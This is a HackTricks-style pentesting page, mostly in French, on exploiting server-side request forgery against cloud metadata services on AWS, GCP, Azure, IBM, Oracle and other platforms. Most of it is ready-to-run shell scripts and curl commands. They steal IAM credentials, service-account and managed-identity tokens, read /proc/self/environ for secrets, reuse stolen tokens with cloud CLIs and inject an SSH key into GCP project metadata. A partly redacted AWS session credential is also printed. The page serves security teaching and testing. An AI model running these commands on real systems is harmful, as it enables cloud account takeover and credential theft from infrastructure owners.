Cloud SSRF

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

AWS

Abusing SSRF in AWS EC2 environment

The metadata endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It’s accesible in the url: http://169.254.169.254 (information about the metadata here).

There are 2 versions of the metadata endpoint. The first one allows to access the endpoint via GET requests (so any SSRF can exploit it). For the version 2, IMDSv2, you need to ask for a token sending a PUT request with a HTTP header and then use that token to access the metadata with another HTTP header (so it’s more complicated to abuse with a SSRF).

Caution

Note that if the EC2 instance is enforcing IMDSv2, according to the docs, the response of the PUT request will have a hop limit of 1, making impossible to access the EC2 metadata from a container inside the EC2 instance.

Moreover, IMDSv2 will also block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.

You can find information about the metadata endpoints in the docs. In the following script some interesting information is obtained from it:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Comme exemple d’IAM credentials publiquement disponibles, vous pouvez visiter : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Vous pouvez aussi consulter les EC2 security credentials publiques sur : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Vous pouvez ensuite prendre ces credentials et les utiliser avec AWS CLI. Cela vous permettra de faire tout ce que ce role a la permission de faire.

Pour tirer parti des nouveaux credentials, vous devrez créer un nouveau profil AWS comme celui-ci :

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Remarquez le aws_session_token, c’est indispensable pour que le profile fonctionne.

PACU peut être utilisé avec les credentials découverts pour déterminer vos privileges et tenter d’escalader les privileges

SSRF in AWS ECS (Container Service) credentials

ECS, est un groupe logique d’instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à faire évoluer votre propre infrastructure de gestion de cluster, car ECS gère cela pour vous. Si vous parvenez à compromettre un service s’exécutant dans ECS, les metadata endpoints change.

Si vous accédez à http://169.254.170.2/v2/credentials/<GUID> vous trouverez les credentials de la machine ECS. Mais d’abord, vous devez trouver le <GUID>. Pour trouver le <GUID> vous devez lire la variable environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI à l’intérieur de la machine.
Vous pourriez être capable de la lire en exploitant un Path Traversal vers file:///proc/self/environ
L’adresse http mentionnée devrait vous donner la AccessKey, SecretKey and token.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

Tip

Notez que dans certains cas, vous pourrez accéder à l’instance metadata EC2 depuis le container (vérifiez les limitations TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le container, vous pourriez accéder à la fois au container IAM role et au EC2 IAM role.

SSRF in AWS EKS Pod Identity credentials

Les clusters EKS récents peuvent utiliser Pod Identity au lieu de l’ancien flux URI relative de type ECS. Dans ces pods, EKS injecte :

  • AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
  • AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token

Par conséquent, une SSRF/LFI capable de lire les env vars ou le fichier projeté service account token peut souvent récupérer les pod IAM credentials en interrogeant le local credential endpoint avec le authorization token provenant de ce fichier :

# Common discovery primitives
cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/

# Use the projected token to query the local Pod Identity credential endpoint
AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"

Ceci est particulièrement utile dans les EKS webhooks, les templating services, ou les URL fetchers qui s’exécutent à l’intérieur de pods et exposent une SSRF ainsi qu’un primitive de lecture de fichier local. La réponse contient des identifiants AWS temporaires qui peuvent être réutilisés depuis l’AWS CLI ou des outils comme Pacu.

SSRF for AWS Lambda

Dans ce cas, les credentials sont stockés dans des variables d’env. Donc, pour y accéder, vous devez accéder à quelque chose comme file:///proc/self/environ.

Le nom des variables d’env intéressantes est :

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCESS_KEY_ID

De plus, en plus des credentials IAM, les fonctions Lambda ont aussi des event data qui est passée à la fonction lorsqu’elle démarre. Ces données sont mises à disposition de la fonction via la runtime interface et peuvent contenir des informations sensibles (comme dans les stageVariables). Contrairement aux credentials IAM, ces données sont accessibles via une SSRF standard à http://localhost:9001/2018-06-01/runtime/invocation/next.

Warning

Notez que les lambda credentials se trouvent dans les variables d’env. Donc si le stack trace du code lambda affiche les vars d’env, il est possible de les exfiltrer en provoquant une erreur dans l’app.

SSRF URL for AWS Elastic Beanstalk

Nous récupérons accountId et region depuis l’API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Nous récupérons ensuite le AccessKeyId, le SecretAccessKey et le Token depuis l’API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Puis on utilise les credentials avec aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Vous pouvez trouver ici la documentation sur les metadata endpoints.

SSRF URL pour Google Cloud

Nécessite le header HTTP Metadata-Flavor: Google et vous pouvez accéder au metadata endpoint avec les URLs suivantes :

Endpoints intéressants pour extraire des informations :

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta ne nécessite PAS d’en-tête pour le moment (merci Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Caution

Pour utiliser le service account token exfiltré, vous pouvez simplement faire :

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Ajouter une clé SSH

Extraire le token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Vérifiez le scope du token (avec la sortie précédente ou en exécutant ce qui suit)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Pousse maintenant la clé SSH.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

Le point de terminaison metadata fonctionne de la même manière que dans les VMs, mais sans certains points de terminaison :

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Cloud Run / Cloud Functions 2nd gen

Pour Cloud Run et les Cloud Functions 2nd generation, il est généralement plus intéressant de voler non seulement le token d’accès OAuth, mais aussi un identity token lié à l’audience depuis le metadata server. C’est utile lorsque le workload compromis peut atteindre des private Cloud Run services, des backends protégés par IAP, ou tout service validant des ID tokens émis par Google.

# OAuth access token for the attached service account
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Audience-bound identity token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"

Tip

L’endpoint identity nécessite un paramètre audience. Dans des engagements réels, cela signifie généralement qu’après avoir prouvé une SSRF contre token, vous devriez énumérer les URLs de services internes, puis demander un second token avec l’audience exacte attendue par le service cible.

Digital Ocean

Warning

Il n’existe pas de choses comme AWS Roles ou GCP service account, donc ne vous attendez pas à trouver des identifiants de bot metadata

Documentation disponible à https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs in here.

  • Must contenir le header Metadata: true
  • Ne doit pas contenir de header X-Forwarded-For

Tip

Une Azure VM peut avoir attaché 1 system managed identity et plusieurs user managed identities. Cela signifie essentiellement que vous pouvez impersonate toutes les managed identities attachées à une VM.

Lors d’une requête de token d’accès vers le metadata endpoint, par défaut le metadata service utilisera la system assigned managed identity pour générer le token, s’il existe une system assigned managed identity. S’il n’y a qu’UNE seule user assigned managed identity, alors celle-ci sera utilisée par défaut. Cependant, s’il n’y a pas de system assigned managed identity et qu’il y a plusieurs user assigned managed identities, alors le metadata service renverra une erreur indiquant qu’il existe plusieurs managed identities et qu’il est nécessaire de spécifier laquelle utiliser.

Malheureusement, je n’ai pas trouvé de metadata endpoint indiquant toutes les MIs qu’une VM a attachées, donc découvrir toutes les managed identities assignées à une VM peut être une tâche difficile d’un point de vue Red Team.

Par conséquent, pour trouver toutes les MIs attachées, vous pouvez faire :

  • Obtenir les attached identities avec az cli (si vous avez déjà compromis un principal dans le Azure tenant avec la permission Microsoft.Compute/virtualMachines/read)
az vm identity show \
 --resource-group <rsc-group> \
 --name <vm-name>
  • Obtenir les attached identities en utilisant la MI attachée par défaut dans le metadata :
export API_VERSION="2021-12-13"

# Get token from default MI
export TOKEN=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
 | jq -r '.access_token')

# Get needed details
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Try to get attached MIs
curl -s -H "Authorization: Bearer $TOKEN" \
 "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
  • Get all les managed identities définies dans le tenant et faire un brute force pour voir si l’une d’elles est attachée à la VM (la permission Microsoft.ManagedIdentity/userAssignedIdentities/read est nécessaire) :
az identity list

Caution

Dans les requêtes de token, utilisez l’un des paramètres object_id, client_id ou msi_res_id pour indiquer la managed identity que vous voulez utiliser (docs). Si aucun n’est fourni, la default MI will be used.

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

Warning

Notez que l’endpoint http://169.254.169.254/metadata/v1/instanceinfo ne nécessite pas l’en-tête Metadata: True ce qui est idéal pour montrer l’impact dans les vulnérabilités SSRF dans Azure où vous ne pouvez pas ajouter cet en-tête.

Azure App & Functions Services & Automation Accounts

Depuis l’env vous pouvez récupérer les valeurs de IDENTITY_HEADER et IDENTITY_ENDPOINT. Vous pouvez les utiliser pour obtenir un token afin de communiquer avec le serveur metadata.

La plupart du temps, vous voulez un token pour l’une de ces ressources :

Caution

Dans les requêtes de token, utilisez n’importe lequel des paramètres object_id, client_id ou msi_res_id pour indiquer la managed identity que vous voulez utiliser (docs). Si aucun n’est fourni, la default MI sera utilisée.

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

IBM Cloud

Warning

Notez que dans IBM, par défaut, metadata n’est pas activé, donc il est possible que vous ne puissiez pas y accéder même si vous êtes à l’intérieur d’une VM IBM cloud

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

La documentation pour les services de metadata de différentes plateformes est présentée ci-dessous, en mettant en évidence les méthodes par lesquelles les informations de configuration et d’exécution des instances peuvent être accessibles. Chaque plateforme propose des endpoints uniques pour accéder à ses services de metadata.

Packetcloud

Pour accéder aux metadata de Packetcloud, la documentation se trouve ici: https://metadata.packet.net/userdata

OpenStack/RackSpace

La nécessité d’un header n’est pas mentionnée. Les metadata peuvent être accessibles via:

  • http://169.254.169.254/openstack

HP Helion

La nécessité d’un header n’est pas mentionnée ici non plus. Les metadata sont accessibles à:

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud Infrastructure a un mode IMDSv2 qui est bien plus pertinent aujourd’hui que les exemples hérités /latest/. En IMDSv2:

  • Les requests vont vers http://169.254.169.254/opc/v2/
  • Les requests doivent inclure le header Authorization: Bearer Oracle
  • Les requests contenant Forwarded, X-Forwarded-For, ou X-Forwarded-Host sont rejetées
  • Si l’instance est configurée pour n’autoriser que IMDSv2, les anciens paths /opc/v1 et /openstack renvoient 404

Endpoints intéressants:

curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/instance/

curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/vnics/

Donc, d’un point de vue SSRF, OCI se comporte désormais beaucoup plus comme les services de metadata cloud durcis qui exigent un mandatory header et rejettent explicitement les forwarded-header proxy patterns courants.

Alibaba

Alibaba propose des endpoints pour accéder aux metadata, notamment les IDs d’instance et d’image :

  • http://100.100.100.200/latest/meta-data/
  • http://100.100.100.200/latest/meta-data/instance-id
  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD peut contenir des API keys, des adresses IP internes et des ports. L’accès est démontré via :

  • curl -L http://127.0.0.1:2379/version
  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Les metadata Docker peuvent être accessibles localement, avec des exemples de récupération d’informations sur les containers et les images :

  • Simple example to access containers and images metadata via the Docker socket:
  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
  • Inside the container, use curl with the Docker socket:
  • curl --unix-socket /var/run/docker.sock http://foo/containers/json
  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Les metadata de Rancher peuvent être accessibles en utilisant :

  • curl http://rancher-metadata/<version>/<path>

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks